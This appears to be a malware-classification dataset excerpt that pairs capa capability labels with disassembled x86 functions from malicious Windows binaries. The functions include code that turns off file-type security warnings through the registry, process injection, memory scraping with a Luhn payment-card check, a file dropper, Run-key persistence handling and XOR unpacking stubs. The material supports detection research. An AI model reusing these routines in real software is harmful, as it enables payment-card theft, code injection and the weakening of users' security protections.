joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402ae0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x406784
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x402b24
xor eax, eax
jmp 0x402be8
cmp dword [ebp - 8], 1
jne 0x402b3b
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x402be8
mov dword [ebp - 0xc], 0x25
push 0x25
push 0
push 0x407c40
call fcn.00401940
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0x407c40
push 0
push 0
push 0x406758
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402b86
mov edx, 1
imul eax, edx, 0
movzx ecx, byte [eax + 0x407c40]
test ecx, ecx
jne 0x402b94
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x402be8
push 0x4a
push 0
push 0x407740
call fcn.00401940
add esp, 0xc
push 0x4a
push 0x407740
push 0x407c40
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x407c40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jne 0x402bd9
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x402be8
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x403050
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesAssociations
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4030bf
push str..exe_.bat_.reg_.vbs_
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x14]
push edx
push str..exe_.bat_.reg_.vbs_
push 1
push 0
push str.LowRiskFileTypes
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 4]
push edx
push 0xf003f
push 0
push 0x406870
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x40310d
mov dword [ebp - 0xc], 0
push 4
lea eax, [ebp - 0xc]
push eax
push 4
push 0
push 0x4068b4
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZones0
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x403165
mov dword [ebp - 0xc], 0
push 4
lea ecx, [ebp - 0xc]
push ecx
push 4
push 0
push str.1806
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40316b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esp, ebp
pop ebp
ret
Function at 0x403170
Capabilities:
Create process on windows
Create process suspended
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0x44
push 0
lea eax, [ebp - 0x68]
push eax
call fcn.00401940
add esp, 0xc
mov dword [ebp - 0x68], 0x44
push 0x10
push 0
lea ecx, [ebp - 0x24]
push ecx
call fcn.00401940
add esp, 0xc
mov dword [0x407344], 1
lea edx, [ebp - 0x24]
push edx
lea eax, [ebp - 0x68]
push eax
push 0
push 0
push 4
push 1
push 0
push 0
push 0
push 0x407520
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x4031df
jmp 0x4032df
push 2
push 0
push 0
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [0x407340]
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
jne 0x403210
push 0
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x4032df
mov edx, dword [ebp - 4]
mov dword [0x407340], edx
cmp dword [ebp + 8], 1
jne 0x403269
mov eax, dword [0x407348]
mov dword [0x40734c], eax
mov ecx, dword [ebp - 0x1c]
mov dword [0x407350], ecx
push 2
push 0
push 0
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [0x407354]
push ecx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
jne 0x403261
push 0
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x4032df
mov eax, dword [ebp - 8]
mov dword [0x407354], eax
mov ecx, dword [0x407c10]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x24]
push eax
call fcn.00403340
add esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x403299
push 0
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x4032df
mov edx, entry0
sub edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x10]
mov dword [ebp - 0x14], edx
push 0
push 0
push 0
mov eax, dword [ebp - 0x14]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x4032d3
cmp dword [ebp + 8], 0
jne 0x4032d1
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x4032df
push 0
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov esp, ebp
pop ebp
ret
Function at 0x403a90
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov dword [ebp - 0x24], 0
push 0x128
push 0
push 0x4073c0
call fcn.00401940
add esp, 0xc
mov dword [0x4073c0], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x18], eax
push 0x4073c0
mov eax, dword [ebp - 0x18]
push eax
call sub.KERNEL32.dll_Process32First
push 0x4073e4
call fcn.00403ce0
add esp, 4
cmp eax, 1
jne 0x403aec
jmp 0x403c83
mov ecx, dword [0x407348]
cmp ecx, dword [0x4073c8]
je 0x403b08
mov edx, dword [0x407348]
cmp edx, dword [0x4073d8]
jne 0x403b0d
jmp 0x403c83
mov dword [ebp - 4], 0
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x4073c8]
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x403b3d
jmp 0x403c83
cmp dword [0x407c70], 1
jne 0x403b69
lea ecx, [ebp - 0x20]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [0x407c78]
cmp dword [ebp - 0x20], 0
jne 0x403b69
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x403c83
mov dword [ebp - 0xc], 0
mov ecx, 1
test ecx, ecx
je 0x403c79
push 0x1c
push 0
lea edx, [ebp - 0x40]
push edx
call fcn.00401940
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
cmp dword [ebp - 0x40], 0
jne 0x403bb2
cmp dword [ebp - 0xc], 0
je 0x403bb2
jmp 0x403c79
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x2c]
and ecx, 1
jne 0x403bce
mov edx, dword [ebp - 0x2c]
and edx, 0x100
je 0x403bd0
jmp 0x403b70
mov dword [ebp - 8], 0
cmp dword [ebp - 0x34], 0
jbe 0x403c74
cmp dword [ebp - 8], 0
je 0x403bf4
mov eax, dword [ebp - 8]
add eax, 0x64000
mov dword [ebp - 8], eax
jmp 0x403bfa
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 8], ecx
cmp dword [ebp - 0x34], 0x64000
jbe 0x403c18
mov dword [ebp - 0x1c], 0x64000
mov edx, dword [ebp - 0x34]
sub edx, 0x64000
mov dword [ebp - 0x34], edx
jmp 0x403c25
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x10], 0
mov ecx, dword [0x407358]
mov dword [ebp - 0x14], ecx
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00403d30
add esp, 8
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.00404650
add esp, 8
jmp 0x403bd7
jmp 0x403b70
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x4073c0
mov eax, dword [ebp - 0x18]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x403ad5
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x24]
mov esp, ebp
pop ebp
ret
Function at 0x404ef0
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 2
mov dword [ebp - 0x40], 4
mov dword [ebp - 0x3c], 6
mov dword [ebp - 0x38], 8
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x2c], 5
mov dword [ebp - 0x28], 7
mov dword [ebp - 0x24], 9
mov dword [ebp - 8], 1
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
jmp 0x404f6e
cmp dword [ebp - 8], 0
jne 0x404f61
mov dword [ebp - 0x10], 1
jmp 0x404f68
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 4]
sub eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 0x20], 0
je 0x404fb5
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx]
sub edx, 0x30
mov dword [ebp - 0x14], edx
cmp dword [ebp - 8], 0
je 0x404fa0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
jmp 0x404faa
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp + ecx*4 - 0x48]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
jmp 0x404f52
mov eax, dword [ebp - 0xc]
cdq
mov ecx, 0xa
idiv ecx
test edx, edx
jne 0x404fcd
mov dword [ebp - 0x1c], 1
jmp 0x404fd4
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret
Function at 0x405540
Capabilities:
Create directory
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x480
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0xffffffff
cmp dword [ebp + 8], 0
je 0x405567
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x40556c
jmp 0x405721
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.004024c0
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x405721
lea ecx, [ebp - 0x480]
push ecx
push 0
push 0
push 0x20
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x4055ba
push 0x4000
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x405721
push 5
lea ecx, [ebp - 0x1c]
push ecx
call fcn.00401340
add esp, 8
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x480]
push eax
push 0x406d38
lea ecx, [ebp - 0x278]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea edx, [ebp - 0x278]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x405613
push 0x4000
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x405721
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x480]
push ecx
push 0x406d44
lea edx, [ebp - 0x278]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x278]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x405677
push 0x4000
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x405721
mov dword [ebp - 0x10], 0
push 0
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4056a2
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 8]
je 0x4056c1
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x4000
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x405721
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x4000
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x44
push 0
lea edx, [ebp - 0x70]
push edx
call fcn.00401940
add esp, 0xc
push 0x10
push 0
lea eax, [ebp - 0x2c]
push eax
call fcn.00401940
add esp, 0xc
lea ecx, [ebp - 0x2c]
push ecx
lea edx, [ebp - 0x70]
push edx
push 0
push 0
push 0
push 1
push 0
push 0
push 0
lea eax, [ebp - 0x278]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esp, ebp
pop ebp
ret
Function at 0x405730
Capabilities:
Delete file
Delete registry key
Persist via run registry key
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0
mov eax, dword [0x407c08]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
test eax, eax
jne 0x405755
push str.Failed_to_terminate_registry_thread.
call fcn.00405b40
add esp, 4
push 0
mov ecx, dword [0x407c04]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
test eax, eax
jne 0x405775
push str.Failed_to_terminate_child_thread.
call fcn.00405b40
add esp, 4
push 0
mov edx, dword [0x407c00]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
test eax, eax
jne 0x405795
push str.Failed_to_terminate_scan_thread.
call fcn.00405b40
add esp, 4
mov eax, dword [0x407350]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4057bd
push str.Failed_to_open_child_process_for_termination.
call fcn.00405b40
add esp, 4
jmp 0x4057d3
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.SoftwareResilience_Software
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4057f9
push str.Failed_to_delete_main_registry_key.
call fcn.00405b40
add esp, 4
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40581f
push str.Failed_to_delete_local_machines_run_registry_key.
call fcn.00405b40
add esp, 4
push str..DEFAULTSOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x405845
push str.Failed_to_delete_all_users_run_registry_key.
call fcn.00405b40
add esp, 4
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40586b
push str.Failed_to_delete_current_users_run_registry_key.
call fcn.00405b40
add esp, 4
push 0x4077a0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x405887
push str.Failed_to_delete_the_application_file.
call fcn.00405b40
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x404c04
Capabilities:
Create directory
Get geographical location
Manipulate console buffer
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xaac
cmp dword [0x92d6a4], 0x37
jne 0x404d19
push esi
push edi
xor esi, esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor eax, eax
mov word [ebp - 4], ax
lea edi, [ebp - 2]
stosw word es:[edi], ax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 4]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputAttribute]
push 0x401260
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenEventA]
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessId]
lea eax, [ebp - 0x190]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push esi
push esi
push esi
lea eax, [ebp - 0x2ac]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push 0x40126c
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push esi
lea eax, [ebp - 0x6ac]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0x3c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryExW]
push esi
lea eax, [ebp - 0xaac]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
xor eax, eax
mov dword [ebp - 0x28], esi
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ClearCommError]
lea eax, [ebp - 0x14]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
lea eax, [ebp - 0x7c]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindActCtxSectionStringW]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
pop edi
pop esi
mov eax, dword [ebp + 8]
mov ecx, dword [0x92dab8]
mov cl, byte [ecx + eax + 0x38d6]
mov edx, dword [0x92a438]
mov byte [edx + eax], cl
leave
ret 4
Function at 0x409f59
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x800118]
jne 0x409f63
repz ret
jmp fcn.0040e3ac

Function at 0x40f0ff
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x800118]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00409f68
and dword [ebp - 0x14], 0
cmp dword [0x92e884], 0
mov dword [ebp - 0x18], eax
jne 0x40f1b2
push 0x403778
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40f25a
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40376c
push ebx
call edi
test eax, eax
je 0x40f25a
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x40375c
push ebx
mov dword [0x92e884], eax
call edi
push eax
call esi
push 0x403748
push ebx
mov dword [0x92e888], eax
call edi
push eax
call esi
push 0x40372c
push ebx
mov dword [0x92e88c], eax
call edi
push eax
call esi
mov dword [0x92e894], eax
test eax, eax
je 0x40f1b2
push 0x403714
push ebx
call edi
push eax
call esi
mov dword [0x92e890], eax
mov eax, dword [0x92e890]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40f20b
cmp dword [0x92e894], ecx
je 0x40f20b
push eax
call esi
push dword [0x92e894]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40f20b
test ebx, ebx
je 0x40f20b
call edi
test eax, eax
je 0x40f202
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40f202
test byte [ebp - 8], 1
jne 0x40f20b
or dword [ebp + 0x10], 0x200000
jmp 0x40f23e
mov eax, dword [0x92e888]
cmp eax, dword [ebp - 0x18]
je 0x40f23e
push eax
call esi
test eax, eax
je 0x40f23e
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40f23e
mov eax, dword [0x92e88c]
cmp eax, dword [ebp - 0x18]
je 0x40f23e
push eax
call esi
test eax, eax
je 0x40f23e
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x92e884]
call esi
test eax, eax
je 0x40f25a
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40f25c
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409f59
leave
ret
Function at 0x416170
Capabilities:
Create thread

Disassembly:
push esi
lea eax, [esp + 8]
push eax
push 0
mov esi, ecx
mov ecx, dword [esp + 0x10]
push ecx
push edx
push 0
push 0
call sub.MSVCRT.dll__beginthreadex
add esp, 0x18
mov dword [esi], eax
pop esi
test eax, eax
je 0x416198
xor eax, eax
ret 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x4161a7
mov eax, 1
ret 4

Function at 0x42e000
Capabilities:
Check for software breakpoints
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x42e072
mov ebx, 0x407ef8
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x27d4453c
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x42e060
nop
nop
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
je 0x42e0d2
nop
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x73a021fd
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
loop 0x42e0c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x100019e6
Capabilities:
Create thread
Resume thread
Terminate thread

Disassembly:
push esi
xor esi, esi
push esi
push 4
push esi
push 0x100018d3
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xfffffffffffffff1
push eax
mov dword [0x10003298], eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
test eax, eax
je 0x10001a1d
push dword [0x10003298]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x10001a30
push esi
push dword [0x10003298]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [0x10003298], esi
pop esi
ret

Function at 0xe6ba28
Capabilities:
Encode data using xor

Disassembly:
jmp 0xe6ba32
pushal
call 0xe6ba38
pop ebp
sub ebp, 0x10
sub ebp, 0xa6ba28
jmp 0xe6ba4e
mov eax, 0xa6ba28
add eax, ebp
add eax, 0x4c
mov ecx, 0x601
mov edx, 0xa4c1af3e
xor byte [eax], dl
inc eax
dec ecx
jne 0xe6ba65
jmp 0xe6ba78
mov ch, 0xf3
mov ch, 0xb7
add bh, byte [esi]
mov edi, 0x3e3ec6ff
cmp eax, 0x3e3b86f3
test byte ds:[esi], dl
leave
fdivr qword [0x32bfb5f6]
cmp eax, 0x1a5ab3fb
ret 0x3ab7
Function at 0x402ef0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x43bc38
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
xor eax, eax
push esi
push edi
mov esi, ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov eax, dword [esi + 0x10]
mov edi, dword [esi + 0x28]
lea eax, [eax + eax*2]
shl eax, 4
add eax, edi
lea ecx, [esp + 0xc]
push ecx
add eax, 0x30
push eax
lea edx, [esp + 0x10]
lea edi, [esi + 0x24]
push edx
mov ecx, edi
mov dword [esp + 0x50], 2
call fcn.00402df0
mov eax, dword [esi + 0x10]
mov edx, dword [esi + 0x28]
mov ecx, dword [esi + 0x2c]
inc eax
mov dword [esi + 0x10], eax
lea eax, [eax + eax*2]
shl eax, 4
add eax, edx
push ecx
add eax, 0x30
push eax
lea eax, [esp + 0x10]
push eax
mov ecx, edi
call fcn.00402950
lea ecx, [esp + 0xc]
push ecx
mov ecx, edi
call fcn.00402e60
mov edx, dword [esi + 0x10]
lea ecx, [esp + 0xc]
mov dword [esi + 0xc], edx
call fcn.00401860
mov ecx, dword [esp + 0x3c]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x40
ret